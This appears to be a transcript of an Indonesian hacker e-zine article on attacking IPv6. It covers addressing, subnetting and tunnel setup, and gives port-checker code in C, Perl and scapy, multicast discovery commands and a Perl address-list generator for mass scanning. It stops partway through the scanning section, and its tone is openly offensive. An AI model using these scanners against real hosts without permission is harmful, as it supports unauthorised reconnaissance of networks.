40490719-0x01-ipv6-attack
TRANSCRIPT
![Page 1: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/1.jpg)
24 Hours A Day, 300/1200 BaudPresents...
####################################################################TOKET - Terbitan Online Kecoak ElektronikDefending the classical hackers mind since 1995
Publisher : http://www.kecoak-elektronik.netContact : [email protected]####################################################################
Subject : Exploiting Future Internet - Defeating IPv6Writer : Ph03n1X (return?)Contact : [email protected] : Unicode Transformation Format (UTF-8)
--[1]-- Kecoak Elektronik License
Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign.Kami akan berusaha untuk menerbitkan semua informasi yang kami anggappatut diketahui, baik dokumen teks, artikel majalah, atau surat kabar.Seluruh kredit akan diberikan kepada sang pengarang.
Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain.Informasi yang disajikan di situs ini adalah untuk tujuan pendidikandan informasionil belaka. Jika anda memutuskan untuk mengejawantahkandalam bentuk apapun informasi yang tersimpan di situs ini, andamelakukan atas keputusan sendiri, dan tidak seorangpun selain andabertanggung jawab atas tindakan tersebut.
Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikelyang kami terbitkan dengan tetap mencantumkan kredit atas pengarangdan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutipatau diambil tidak dapat dipergunakan untuk kepentingan komersil.
--[2]-- Introduction
Yeah, drinking till the end! Writing till the end! and the mostimportant - hacking till the end!
IPv6 merupakan protokol internet yang sudah mulai digunakan tetapi masihrelatif sedikit. Pada jurnal Uninformed vol 10 HD. Moore memberikanpenjelasan tentang proses exploitasi IPv6. Beberapa bagian daritulisan ini memang mengacu pada tulisan HD Moore sebagai referensitetapi jangan salah tulisan ini bukan versi translate dari tulisantersebut. Sudah hampir 3 tahun saya berkenalan dengan IPv6 dan apa yang tertulis disini adalah pengalaman pribadi yang mudah mudahan bisa menjadi pelengkap referensi anda tentang IPv6.
Kenapa membahas IPv6? kami di kecoak elektronik ingin mengembangkan danmendewasakan pemahaman tentang hacking, sudah terlalu banyak referensihacking bagi newbie di indonesia dan sudah saatnya wacana tentanghacking diperluas. We don't hack just by putting malicious URL kids. That's bloodyhell cheap! After core routing infrastructure arepwned, is this the time to bring down future internet today?!
![Page 2: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/2.jpg)
So here we go as internet pirates, bunch of skilled people with the mostfreedomship on internet...
--[3]-- IPv6
IPv6 merupakan protokol internet masa depan yang dikenalkan oleh IETFsejak tahun 1998. Standar spesifikasi IPv6 mengacu pada draft RFC 2460. IPv6 menggunakan 128-bit hexal yang menjadikan IP versi enam inimemiliki jumlah alamat jauh lebih banyak dari IPv4 yaitu sekitar ~2^128 [i].
IPv6 header format sesuai dengan RFC 2460 [ii] bisa ditunjukkan sebagaiberikut:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
keterangan:
- Version 4 bit 'version' berisi nomor versi IP = 6. - Traffic Class 8 bit 'traffic class' yang digunakan untuk mengidentifikasi prioritas paket IPv6. - Flow Label 20 bit 'flow label' digunakan untuk QoS
management. - Payload Length 16 bit 'unsigned integer' yang menunjukkan
ukuran paket. - Next Header 8 bit yang mengidentifikasi protokol
terenkapsulasi selanjutnya. - Hop Limit 8 bit 'unsigned integer' yang nilainya selalu
berkurang 1 jika melewati sebuah router. - Source Address 128 bit yang menunjukkan alamat asal paket. - Destination Address 128 bit yang menunjukkan alamat tujuan paket.
Model pengalamatan IP menggunakan IP versi 6 bisa pada tipe unicast, anycast, maupun multicast. IPv6 tidak mengenal tipe broadcast. Pengalamatan IP menggunakan IP versi 6 mengacu pada RFC 3513 [iii].Notasi penulisan IPv6 bisa dipelajari pada RFC 3513 dan tidak perlu bagi saya untuk menulis ulang pada artikel ini, tetapi saya perlumenegaskan ulang mengenai pengalokasian IPv6 yaitu:
![Page 3: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/3.jpg)
::/128 unspecified address::1/128 loopback addressff00::/8 multicast addressfe80::/10 link-local unicastfec0::/10 site-local unicasteverything else global unicast
alamat anycast dapat diambil dari alamat unicast dan tidak bisadibedakan secara sintaks dengan alamat unicast. Pada RFC 3513 section2.7.1 disebutkan beberapa pre-defined alamat multicast. Alamat berikutpenting diketahui sebagai pengetahuan penunjang IPv6 discovery &scanning.
ff01::1 semua interface-local IPv6 hostff02::1 semua link-local IPv6 hostff05::1 semua site-local IPv6 hostff01::2 semua interface-local IPv6 routerff02::2 semua link-local IPv6 routerff02::5 semua site-local IPv6 router
Pengetahuan penting lain mengenai IPv6 adalah tentang bagaimanamelakukan perhitungan subnetting. Penjelasan mengenai perhitungan inidapat ditemui pada dokumen technet microsoft [iv]. Silakan rekan-rekanmengacu pada dokumen tersebut dan mengikuti uraian langkah menghitungsubnet pada IPv6. Untuk memperjelas contoh perhitungan subnet IPv6,berikut saya contohkan sebuah perhitungan lagi.
Sebuah jaringan IPv6 2406:a000:f0ff:4000::/50 ingin dibagi lagi dengan4-bit subnetting maka berdasar rumusan pada dokumen technet microsoftdiperoleh:
2406:a000:f0ff:4000::<------------>48-bit
Untuk mendapatkan nilai F, yang harus dilakukan adalah meng AND kanalamat IPv6 dengan prefixnya dalam bentuk biner. Misalnya untuk blokIPv6 di atas adalah:
IPv6 2406:a000:f0ff:0100000000000000::50-bit ffff:ffff:ffff:1100000000000000::
<------------->48-bit
AND 2406:a000:f0ff:0100000000000000::Network 2406:a000:f0ff:0100000000000000::
nilai F adalah hasil AND dari alamat IPv6 dengan prefix pada bit ke-49sampai bit ke-64 yaitu 100000000000000 atau 0x4000 dalam hexal.
F=0x4000, s=4, m=50, dan f= m-48 <=> 50-48=2Jumlah subnet n=2^s <=> 2^4 = 16Increment i=2^(16-(f+s)) <=> 2^(16-(2+4))=1024=0x400Prefix baru P=m+s <=> 50+4 = 54
maka ke-16 subnet tersebut adalah:2406:a000:f0ff:4000::/54 2406:a000:f0ff:6000::/542406:a000:f0ff:4400::/54 2406:a000:f0ff:6400::/542406:a000:f0ff:4800::/54 2406:a000:f0ff:6800::/542406:a000:f0ff:4c00::/54 2406:a000:f0ff:6c00::/54
![Page 4: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/4.jpg)
2406:a000:f0ff:5000::/54 2406:a000:f0ff:7000::/542406:a000:f0ff:5400::/54 2406:a000:f0ff:7400::/542406:a000:f0ff:5800::/54 2406:a000:f0ff:7800::/542406:a000:f0ff:5c00::/54 2406:a000:f0ff:7c00::/54
Ada beberapa website yang menyediakan kalkulasi subnetting IPv6 yaitu:http://www.liquidalchemy.comhttp://www.subnetonline.com
--[4]-- Connecting to IPv6 Backbone
IPv6 saat ini belum banyak digunakan oleh internet provider, sehinggaagar kita tersambung ke jaringan backbone IPv6 butuh sebuah trik. Trikini memanfaatkan tunneling IPv6 pada IPv4. Saat ini sudah banyak sekalipenyedia tunnel IPv6-in-IPv4 gratis di internet. Beberapa diantaranyabisa dilihat di wikipedia [v] mengenai IPv6 tunnel broker.
IPv6 tunnel broker menyediakan jasa tunneling IPv6-in-IPv4 yang bisa dikonfigurasi melalui website atau dengan memanfaatkan Tunnel SetupProtocol (TSP). Konfigurasi melalui website bisa dilakukan melaluiwebsite yang disediakan oleh tunnel broker, sedangkan konfigurasimenggunakan TSP biasanya membutuhkan aplikasi client yang disediakanoleh tunnel broker. Pada percobaan ini saya mengunakan tunnel brokerhttp://gogonet.gogo6.com/. Silakan lakukan pendaftaran dan downloadaplikasi TSP client yang disediakanhttp://gogonet.gogo6.com/page/download-1. Saya mendownload aplikasiclient dalam bentuk source code karena kompatibilitasnya dengan linux.
Ekstrak file tersebut dengan menggunakan perintah 'tar xvfgw6c-6_0-RELEASE-src.tar' selanjutnya bacalah file INSTALL padadirektori hasil ekstrak tersebut sebagai petunjuk installasi. Secarasederhana proses installasinya adalah:
make allmake installdir=/usr/local/gw6c install
Jalankan aplikasi TSP client dengan perintah:
/usr/local/gw6c/bin/gw6c > /dev/null 2>&1
Jika semua proses sudah dilewati, lakukan pengecekan konfigurasiinterface jaringan dengan perintah 'ifconfig'. Jika semua proses yangdilalui sudah benar, maka akan muncul interface baru yaitu interfacetunnel IPv6-in-IPv4.
sit1 Link encap:IPv6-in-IPv4 inet6 addr: fe80::7660:54ab/64 Scope:Link inet6 addr: fe80::a01:1fe/64 Scope:Link inet6 addr: 2406:a000:f0ff:ffff:8000:0:7660:54ab/128
Scope:Global UP POINTOPOINT RUNNING NOARP MTU:1280 Metric:1 RX packets:1679 errors:0 dropped:0 overruns:0 frame:0 TX packets:1893 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:104852 (104.8 KB) TX bytes:169828 (169.8 KB)
Dari pemeriksaan 'ifconfig' diketahui bahwa alamat IPv6 komputer sayaadalah 2406:a000:f0ff:ffff:8000:0:7660:54ab/128. Untuk memastikan bahwakomputer sudah tersambung ke jaringan backbone IPv6 bisa dilakukan
![Page 5: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/5.jpg)
dengan menggunakan utility 'ping6','dig', dan/atau 'traceroute6'.
root@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 www.jp.freebsd.orgPING www.jp.freebsd.org(updraft3.jp.FreeBSD.org) 56 data bytes64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=1 ttl=52 time=400 ms64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=2 ttl=52 time=398 ms64 bytes from updraft3.jp.FreeBSD.org: icmp_seq=3 ttl=52 time=397 ms
--- www.jp.freebsd.org ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2005msrtt min/avg/max/mdev = 397.841/399.162/400.799/1.331 msroot@h4x0r:/usr/local/gw6c/bin# ping6 -c 3 ipv6.internode.on.netPING ipv6.internode.on.net(2001:44b8:8020:f501:250:56ff:feb3:6633) 56 data bytes64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=1 ttl=55 time=331 ms64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=2 ttl=55 time=297 ms64 bytes from 2001:44b8:8020:f501:250:56ff:feb3:6633: icmp_seq=3 ttl=55 time=301 ms
--- ipv6.internode.on.net ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2007msrtt min/avg/max/mdev = 297.454/310.367/331.792/15.269 msroot@h4x0r:/usr/local/gw6c/bin# dig -t AAAA www.jp.freebsd.org
; <<>> DiG 9.5.0-P2 <<>> -t AAAA www.jp.freebsd.org;; global options: printcmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4116;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 1
;; QUESTION SECTION:;www.jp.freebsd.org. IN AAAA
;; ANSWER SECTION:www.jp.freebsd.org. 3456 IN AAAA2001:2f0:104:1:2e0:18ff:fea8:16f5
;; AUTHORITY SECTION:jp.freebsd.org. 3456 IN NS castle.jp.freebsd.org.jp.freebsd.org. 3456 IN NS ns3.imgsrc.co.jp.jp.freebsd.org. 3456 IN NS asuka.jp.freebsd.org.
;; ADDITIONAL SECTION:ns3.imgsrc.co.jp. 3456 IN A 202.235.195.4
;; Query time: 0 msec;; SERVER: 10.1.1.1#53(10.1.1.1);; WHEN: Tue Dec 22 09:13:12 2009;; MSG SIZE rcvd: 151
root@h4x0r:/usr/local/gw6c/bin# traceroute6 ipv6.internode.on.nettraceroute to ipv6.internode.on.net(2001:44b8:8020:f501:250:56ff:feb3:6633) from 2406:a000:f0ff:ffff:8000:0:7660:54ab, 30 hops max, 16 byte packets 1 2406:a000:f0ff:ffff:8000:1:7660:54ab (2406:a000:f0ff:ffff:8000:1: 7660:54ab) 286.841 ms 275.478 ms 277.258 ms 2 2406:a000:ffff:ffff::1 (2406:a000:ffff:ffff::1) 273.892 ms 273.738 ms 272.925 ms
![Page 6: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/6.jpg)
3 as4826.ipv6.sydney.pipenetworks.com (2001:7fa:b::8) 273.914 ms 273.593 ms 271.722 ms 4 ge-0-2-4.cor02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::69) 272.919 ms 275.04 ms 275.163 ms 5 ge-0-0-0.bdr02.syd03.nsw.VOCUS.net.au (2402:7800:0:1::46) 276.974 ms 274.226 ms 276.413 ms 6 g7-3-0-127.bdr1.syd6.internode.on.net (2001:44b8:b060:4::4739:1) 274.2 ms 277.026 ms 277.866 ms 7 pos7-0.bdr2.adl2.internode.on.net (2001:44b8:8020:9::2) 294.186 ms 297.256 ms 296.546 ms 8 gi1-9.cor1.adl6.internode.on.net (2001:44b8:8060:f::2) 294.378 ms 295.075 ms 296.833 ms 9 te2-1.rtr2.adl6.internode.on.net (2001:44b8:8060:8::2) 294.598 ms 295.085 ms 296.596 ms10 2001:44b8:8020:f501:250:56ff:feb3:6633 (2001:44b8:8020:f501:250: 56ff:feb3:6633) 296.049 ms 293.678 ms 293.927 msroot@h4x0r:/usr/local/gw6c/bin#
Oke, connected to IPv6 network! Let's start to explore the futureinternet today.
--[5]-- An Introduction to IPv6 Socket Programming
Kenapa sih pemrograman socket perlu dibahas di artikel ini? Saat sayabereksplorasi dengan IPv6 banyak sekali kasus dimana kita harus mengkodetools agar sesuai keinginan kita. Tools publik untuk IPv6 saat ini masihmemiliki banyak keterbatasan.
Definisi socket berdasar RFC 793 [vi] adalah pasangan alamat IP dan nomorport, sehingga socket IPv6 adalah pasangan alamat IPv6 dan nomor portservice tertentu. Socket sendiri ada dua buah tipe yaitu:
- stream socket, misalnya digunakan pada TCP- datagram socket, misalnya digunakan pada UDP
Pemrograman socket pada IPv6 memiliki perbedaan dibandingkan denganpemrograman socket pada IPv4. Perbedaan ini akan terlihat jelas jikarekan rekan membaca file header pemrograman bahasa C. Referensi lengkappemrograman socket IPv6 bisa diperoleh pada dokumen RFC 3493[vii].
Seperti pada pembahasan yang lain mengenai perkenalan dengan socketprogramming yang selalu mencontohkan aplikasi client server, tulisan inijuga menggunakan pendekatan yang sama. Pembuatan socket pada IPv6 untukaplikasi server dan client mengikuti urutan berikut: [viii]
> Server- socket() digunakan untuk membuat file deskripsi socket.- bind() digunakan untuk binding alamat interface pada socket.- listen() digunakan untuk menunggu adanya koneksi.- accept() digunakan untuk menerima koneksi.- read() or write() pada TCP digunakan untuk menerima dan mengirim data.- recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim data.
> Client- socket() digunakan untuk mebuat file deskripsi socket.- connect() digunakan untuk koneksi ke server.- read() or write() pada TCP digunakan untuk menerima dan mengirim data.- recvfrom() or sendto() pada UDP digunakan untuk menerima dan mengirim
![Page 7: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/7.jpg)
data.
Jika dilihat sepintas lalu urutan pembuatan socket pada IPv6 dan IPv4adalah sama, yang membedakan adalah parameter socket interface, strukturdata alamat IPv6, dan beberapa fungsi berikut:
-------------------------------------------------| IPv4 | IPv6 |-------------------------------------------------| AF_INET | AF_INET6 |-------------------------------------------------| in_addr | in6_addr |-------------------------------------------------| scokaddr_in | sockaddr_in6 |-------------------------------------------------| inet_aton() | inet_pton() * || inet_addr() | |-------------------------------------------------| inet_ntoa() | inet_ntop() * |-------------------------------------------------| gethostbyname() | getipnodebyname() || gethostbyaddr() | getipnodebyaddr() || | getnameinfo() * || | getaddrinfo() * |-------------------------------------------------
Lalu apa hubungan pemrograman socket dengan proses exploitasi? hampirsemua tools dan exploit remote memanfaatkan pemrograman socket. Toolsdan exploit tersebut menggunakan socket client untuk keperluan scanning,fingerprinting, enumerasi, dan exploitasi vulnerable server.
Proses pada exploitasi cenderung lebih banyak memanfaatkan socket clientdibanding socket server. Hal inilah yang mendasarai bagian berikut dariartikel ini banyak membahas socket client.
Sebagai contoh pertama, berikut ini adalah sebuah code sederhana untukmelakukan pengecekan apakah sebuah port pada IPv6 address terbuka atautertutup.
/*oport6.c*/#include <stdlib.h>#include <string.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <netdb.h>
/*Port Checker by Ph03n1XThis code is ripped and modified from Joonbok LeePresentation about IPv6 Socket Programming*/
int main(int argc, char *argv[]){ int s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;
if(argc!=3){ printf("Usage : %s <IPv6 address> <Port>\n", argv[0]);
![Page 8: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/8.jpg)
exit(0); } memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;
retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); if(c==0){ printf("[OPEN] %s on %s\n",argv[1],argv[2]); }else{ printf("[CLOSE/FIREWALL] %s on %s\n",argv[1],argv[2]); } }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); }}
Untuk mengkompilasi dan menggunakan potongan code C sederhana di atas,ikuti langkah berikut:
anto@h4x0r$ gcc -o oport6 oport6.canto@h4x0r$ ls -l oport6-rwxr-xr-x 1 anto anto 9314 2009-12-24 01:04 oport6anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3389[OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389anto@h4x0r$ ./oport6 fe80::200:1cff:fedc:fb66%eth0 3381[CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 3381anto@h4x0r$ ./oport6 2001:470:1f00:1644:3::1 22[CLOSE/FIREWALL] 2001:470:1f00:1644:3::1 on 22anto@h4x0r$ ./oport6 2001:44b8:8020:f501:250:56ff:feb3:6633 80[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80anto@h4x0r$ ./oport6 10.1.1.1 2210.1.1.1 is not IPv6 familyanto@h4x0r$
Menggunakan bahasa C bagi saya kadang cukup merepotkan sehingga seringsekali saya menggunakan beberapa bahasa pemrograman untuk menyelesaikanberbagai masalah yang dihadapi. Pada artikel ini saya juga menggunakanscripting Perl dan Python yang sudah dilengkapi scapy. Penggunaan perluntuk menulis exploit atau scanner sangat menghemat waktu sedangkanmenggunakan scapy untuk memodifikasi packet jauh lebih mudah dibandingharus menggunakan bahasa C.
Pada scripting perl, IPv6 tidak dikembangkan pada core library sehinggatidak ada support untuk banyak core modules seperti LWP, Net::SMTP,Net::POP3, dan Net::FTP. Untuk membuat socket IPv6 pada perl dilakukan
![Page 9: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/9.jpg)
dengan menggunakan IO::Socket::INET6 [ix].
Code C untuk pengecekan port (oport6.c) jika dikonversi ke scriptingperl hasilnya adalah sebagai berikut:
#!/usr/bin/perl# Port Checker oport6.pl coded by Ph03n1X
#cpan IO::Socket::INET6use IO::Socket::INET6;
if(!$ARGV[1]){ print $0 . " <IPv6 Address> <Port>\n"; exit;}
my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Domain => AF_INET6);if($s){ print "[OPEN] $ARGV[0] on $ARGV[1]\n";}else{ print "[CLOSE/FIREWALL] $ARGV[0] on $ARGV[1]\n";}
Untuk menggunakan script perl oport6.pl di atas adalah sebagai berikut:
anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 3389[OPEN] fe80::200:1cff:fedc:fb66%eth0 on 3389anto@h4x0r$ perl oport6.pl fe80::200:1cff:fedc:fb66%eth0 21[CLOSE/FIREWALL] fe80::200:1cff:fedc:fb66%eth0 on 21anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 80[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 80anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 22[OPEN] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 22anto@h4x0r$ perl oport6.pl 2001:44b8:8020:f501:250:56ff:feb3:6633 222[CLOSE/FIREWALL] 2001:44b8:8020:f501:250:56ff:feb3:6633 on 222anto@h4x0r$
Penggunaan perl dan C untuk keperluan modifikasi packet dan low levelpacket programming bukan sesuatu yang sederhana. Apalagipengimplementasian pada IPv6 yang merupakan protokol internet relatifbaru (cari bahan dan referensinya susah gan!). Untuk itulah sayamenggunakan python dan scapy. Berikut ini contoh sederhana port checkermenggunakan scapy.
#!/usr/bin/env python# Port Checker oport6-syn.py coded by Ph03n1X
import sysif len(sys.argv) !=3: print "Usage : python " + sys.argv[0] + " <IPv6 Address> <Port>" sys.exit(0);
#Scapy version 2 need to import from scapy.allfrom scapy.all import *p=sr1(IPv6(dst=sys.argv[1])/TCP(dport=int(sys.argv[2]),flags="S"),verbose=0,timeout=2)
#SA flags value is 0x12 or 18 in decimal
![Page 10: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/10.jpg)
if p.flags == 18 : print "[OPEN] " + sys.argv[1] + " on " + sys.argv[2]else: print "[CLOSE/FIREWALL]" + sys.argv[1] + " on " + sys.argv[2]
Karena scapy menggunakan raw paket, maka dibutuhkan akses root untukmenjalankan script di atas yaitu sebagai berikut:
anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5[OPEN] 2001:2f0:104:1:2e0:18ff:fea8:16f5 on 22anto@h4x0r$ sudo python oport6-syn.py 2001:2f0:104:1:2e0:18ff:fea8:16f5[CLOSE/FIREWALL]2001:2f0:104:1:2e0:18ff:fea8:16f5 on 21anto@h4x0r$
Scapy sedikit bermasalah dengan alamat link-local (misalnya fe80::200:1cff:fedc:fb66%eth0) dan menganggapnya sebagai illegal address. Sebagai tambahan artikel di referensi [x] dan [xi] sangat baikbagi yang ingin mendalami scapy.
Setelah berkenalan dengan pemrograman socket pada IPv6, sekarang saatnyapengetahuan tersebut digunakan untuk keperluan scanning dan exploitasiprotokol internet di masa mendatang tersebut.
--[6]-- Discovery & Scanning
IPv6 tidak mengenal protokol ARP yang mengkonversi dari alamat IPmenjadi alamat MAC. Pada IPv6 dikenal adanya proses network discoverydan network solicitation. Network discovery memanfaatkan ICMPv6 untukmengetahui link-local yang aktif pada jaringan lokal. Networksolicitation diperlukan untuk menentukan apakah sebuah IPv6 sudah adapada subnet jaringan lokal.
Dengan menggunakan ICMPv6 kita bisa mengenumerasi local-link mana sajayang hidup pada jaringan lokal. IPv6 Toolkit yang dibuat oleh Van Hausermemiliki tool 'alive6' untuk keperluan enumerasi ini tetapi sayangnyatool ini tidak berjalan dengan baik pada ubuntu 8.10 yang saya gunakan.Sebagai pengganti tool ini, kita bisa mengirimkan ICMPv6 pada alamatmulticast ff02::1 yang mencapai kesemua alamat link-local pada sebuahjaringan. (HD Moore menyebutkan bahwa alamat ff02::1 adalah alamatbroadcast sedangkan saya mengacu pada RFC 3513 yang menyebutkan bahwaalamat ini adalah alamat multicast).
anto@h4x0r:~/k-elektronik$ ping6 -c 5 ff02::1%eth0 > /dev/null 2>&1anto@h4x0r:~/k-elektronik$ ip neigh|grep ^fe80fe80::200:1cff:fedc:fb66 dev eth0 lladdr 00:00:1c:dc:fb:66 REACHABLE
Pada saat saya mencoba di jaringan lokal kebetulan saya hanya menemukan1 host dengan link-local IPv6 yang aktif.
Lalu bagaimana cara menentukan IPv6 global unicast yang aktif diinternet? Cara paling sederhana adalah mengirimkan ICMPv6 ke blok prefixalamat IPv6 tertentu. Masalahnya adalah IPv6 memiliki range IP yangsangat besar sehingga menjadikan prefix sebagai acuan bukanlah idebagus. Celakanya lagi, saat ini belum ada public tools untuk melakukandiscovery & scanning IPv6 secara massive.
Ide yang terpikirkan saat penulisan artikel ini adalah dengan membuatsebuah file berisi list IPv6 yang hendak di scan. Proses ini sayalakukan dengan bantuan tool 'buildipv6.pl' yang sudah terbendle pada
![Page 11: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/11.jpg)
ipv6-hackit pada direktori 'ipv6-hackit/perl/'.
#!/usr/bin/perl# buildipv6.pl is provided by Ph03n1X# Really nasty code but work :)
use strict;use warnings;
sub str2hex(){#Sub routine str2hexmy($bit) = @_;my ($bitlo,$bithi);if($bit =~ /-/){ my @atbit=split('-',$bit); if(hex($atbit[0]) > hex($atbit[1])){ print "ERR! Hexal value at right of \'-\' must be higher than at left\n"; exit; } $bitlo = $atbit[0]; $bithi = $atbit[1]; }else{ $bitlo= $bit; $bithi= $bit; } return($bitlo,$bithi);} #End of sub routine str2hex
#Routine mainif(!$ARGV[0]){ print "USAGE:\n"; print "perl $0 <IPv6 Address Range> [<interface>]\n"; print ""; print "Ex=> perl $0 2046:f0af-f0ff:0a0a:c000-c010:0:0:0:0\n"; print "Ex=> perl $0 fe80:0:0:0:201:6cff:fe9e:e6ab-e6ff\n\n";
print "ATTENTION!\n"; print "1. You have to enter all 128-bit and can not use \'::\'\n"; print "2. Hexal value at right of \'-\' must be higher than at left\n"; print "3. If you play with reserved IPv6 - be sure you know what you do\n"; print "4. Read RFC 3513 to make sure you know what you do\n"; print "This code doesn\'t handle all error caused by not following this!\n"; exit;}
my $iface;if(!$ARGV[1]){ $iface="%eth0";}else{ $iface="%" . $ARGV[1];}
my ($c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8);open(IPv6,">ipv6.out");
my @allbit = split(':',$ARGV[0]);if (scalar(@allbit) !=8){ print "ERR! You have to enter all 128-bit and can not use \'::\'\n";
![Page 12: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/12.jpg)
exit;}
my $bit1 = $allbit[0];my $bit2 = $allbit[1];my $bit3 = $allbit[2];my $bit4 = $allbit[3];my $bit5 = $allbit[4];my $bit6 = $allbit[5];my $bit7 = $allbit[6];my $bit8 = $allbit[7];
my ($bit1lo,$bit1hi) = &str2hex($bit1);my ($bit2lo,$bit2hi) = &str2hex($bit2);my ($bit3lo,$bit3hi) = &str2hex($bit3);my ($bit4lo,$bit4hi) = &str2hex($bit4);my ($bit5lo,$bit5hi) = &str2hex($bit5);my ($bit6lo,$bit6hi) = &str2hex($bit6);my ($bit7lo,$bit7hi) = &str2hex($bit7);my ($bit8lo,$bit8hi) = &str2hex($bit8);
for($c1=hex($bit1lo);$c1<=hex($bit1hi);$c1++){ for($c2=hex($bit2lo);$c2<=hex($bit2hi);$c2++){ for($c3=hex($bit3lo);$c3<=hex($bit3hi);$c3++){ for($c4=hex($bit4lo);$c4<=hex($bit4hi);$c4++){ for($c5=hex($bit5lo);$c5<=hex($bit5hi);$c5++){ for($c6=hex($bit6lo);$c6<=hex($bit6hi);$c6++){ for($c7=hex($bit7lo);$c7<=hex($bit7hi);$c7++){ for($c8=hex($bit8lo);$c8<=hex($bit8hi);$c8++){
if($c1==65152){ printf ("%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8,$
iface); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X%s\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,
$c8,$iface);}else{ printf ("%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c8); printf (IPv6 "%X:%X:%X:%X:%X:%X:%X:%X\n",$c1,$c2,$c3,$c4,$c5,$c6,$c7,$c
8);}
} } } } } } }}
#End of routine main
Untuk membuat daftar list alamat IPv6 perhatikan cara pernggunaan kodedi atas sesuai petunjuk pada USAGE. Jika anda bingung itu tugas andamempelajari bagaimana kode ini bekerja. File yang dibuat olehbuildipv6.pl disimpan pada file 'ipv6.out' yang isinya kurang lebihsebagai berikut:
2001:44B8:8020:F501:250:56FE:FEB3:66312001:44B8:8020:F501:250:56FE:FEB3:66322001:44B8:8020:F501:250:56FE:FEB3:66332001:44B8:8020:F501:250:56FE:FEB3:6634
